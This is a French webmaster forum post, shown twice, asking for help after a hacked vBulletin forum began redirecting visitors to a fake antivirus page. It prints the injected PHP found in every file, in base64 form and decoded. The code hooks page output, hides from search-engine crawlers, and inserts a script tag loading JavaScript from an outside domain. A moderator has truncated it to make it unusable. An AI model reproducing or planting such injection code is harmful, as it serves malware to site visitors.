par
simonak » 16 avr. 2010, 13:56
Salut tout le monde,
mon forum vbulletin a été hacké hier.Quand on entre sur le forum , il fait une redirection après quelque seconde sur un site qui fait soit disant un scan du pc et propose d'installé un antivirus ........
j'ai changer tout les accès et je suis allé voir dans le ftp .J'ai trouver ce bou de code dans chaque 1ère ligne d'un page php.
<?php /**/ echo(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYh...KTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?>
Ce qui donne :
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9rZGprZmpza2Rmamxza2RqZi5jb20vanMucGhwIj48L3NjcmlwdD4="); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B...1A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B49750...C8F611A564684C,3,1)); $RBE4C4D037E...85A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC149...962AF5D&4){ $R63BEDE6...D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B49750...1A564684C,10,2)); $R63BEDE6B19266...D91E29EB=$R63BEDE6B19266D4EFE...1E29EB[1]; $RBE4C4D03...53DAD9+=2+$R63BEDE6B19266...D07A4D91E29EB; } if($R30B2AB8DC1496D...8962AF5D&8){ $RBE4C4D03...2885A53DAD9=@strpos($R5A9CF1B497502...11A564684C,chr(0),$RBE4C4D037E939...5812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E9392...5A53DAD9=@strpos($R5A9CF1B...A23C8F611A564684C,chr(0),$RBE4C4D03...26F65812885A53DAD9)+1; } if($R30B2AB8DC14...30A71D8962AF5D&2){ $RBE4C4D037E939226...3DAD9+=2; } $R034AE2AB94F99...B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502A...11A564684C,$RBE4C4D037E93...53DAD9)); if($R034AE2A...89A1822DA3353===FALSE){ $R034AE2AB94...C81B389A1822DA3353=$R5A9CF1B49...F611A564684C; } return $R034AE2AB94F99...A3353; } } function mrobh($RE82EE9B121F7...4EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C...51B81DE=gzdecode($RE82EE9B121F...F54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B...B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3...69F7B59C51B81DE); }else{ return $RA179ABD3A7B...F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }
base64_decode("PHNjcmlwdC...0vanMucGhwIj48L3NjcmlwdD4=");
donne
<script src="
http://kdjkfjskdXXXjf.com/js.php"></script>
le hacker à surement réussit à uploader un code php sur mon serveur qui achoute cette ligne dans touts les fichier php .Je vais essayer de trouver ce code , mais y a tellement de fichier php :s
et je doit supprimer toutes les ligne qu'il a mis .Es que c'est faisable d'inverser ce qu'il a fait ? Faire un script qui supprime toutes les 1ere lignes d'un fichier php ?
Merci d'avance
##edit @rthur : Edition du script malveillant pour le rendre inutilisable.
Salut tout le monde,
mon forum vbulletin a été hacké hier.Quand on entre sur le forum , il fait une redirection après quelque seconde sur un site qui fait soit disant un scan du pc et propose d'installé un antivirus ........
j'ai changer tout les accès et je suis allé voir dans le ftp .J'ai trouver ce bou de code dans chaque 1ère ligne d'un page php.
[php]<?php /**/ echo(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYh...KTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?> [/php]
Ce qui donne :
[php]if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9rZGprZmpza2Rmamxza2RqZi5jb20vanMucGhwIj48L3NjcmlwdD4="); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B...1A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B49750...C8F611A564684C,3,1)); $RBE4C4D037E...85A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC149...962AF5D&4){ $R63BEDE6...D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B49750...1A564684C,10,2)); $R63BEDE6B19266...D91E29EB=$R63BEDE6B19266D4EFE...1E29EB[1]; $RBE4C4D03...53DAD9+=2+$R63BEDE6B19266...D07A4D91E29EB; } if($R30B2AB8DC1496D...8962AF5D&8){ $RBE4C4D03...2885A53DAD9=@strpos($R5A9CF1B497502...11A564684C,chr(0),$RBE4C4D037E939...5812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E9392...5A53DAD9=@strpos($R5A9CF1B...A23C8F611A564684C,chr(0),$RBE4C4D03...26F65812885A53DAD9)+1; } if($R30B2AB8DC14...30A71D8962AF5D&2){ $RBE4C4D037E939226...3DAD9+=2; } $R034AE2AB94F99...B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502A...11A564684C,$RBE4C4D037E93...53DAD9)); if($R034AE2A...89A1822DA3353===FALSE){ $R034AE2AB94...C81B389A1822DA3353=$R5A9CF1B49...F611A564684C; } return $R034AE2AB94F99...A3353; } } function mrobh($RE82EE9B121F7...4EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C...51B81DE=gzdecode($RE82EE9B121F...F54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B...B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3...69F7B59C51B81DE); }else{ return $RA179ABD3A7B...F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }
[/php]
base64_decode("PHNjcmlwdC...0vanMucGhwIj48L3NjcmlwdD4=");
donne
<script src="http://kdjkfjskdXXXjf.com/js.php"></script>
le hacker à surement réussit à uploader un code php sur mon serveur qui achoute cette ligne dans touts les fichier php .Je vais essayer de trouver ce code , mais y a tellement de fichier php :s
et je doit supprimer toutes les ligne qu'il a mis .Es que c'est faisable d'inverser ce qu'il a fait ? Faire un script qui supprime toutes les 1ere lignes d'un fichier php ?
Merci d'avance
##edit @rthur : Edition du script malveillant pour le rendre inutilisable.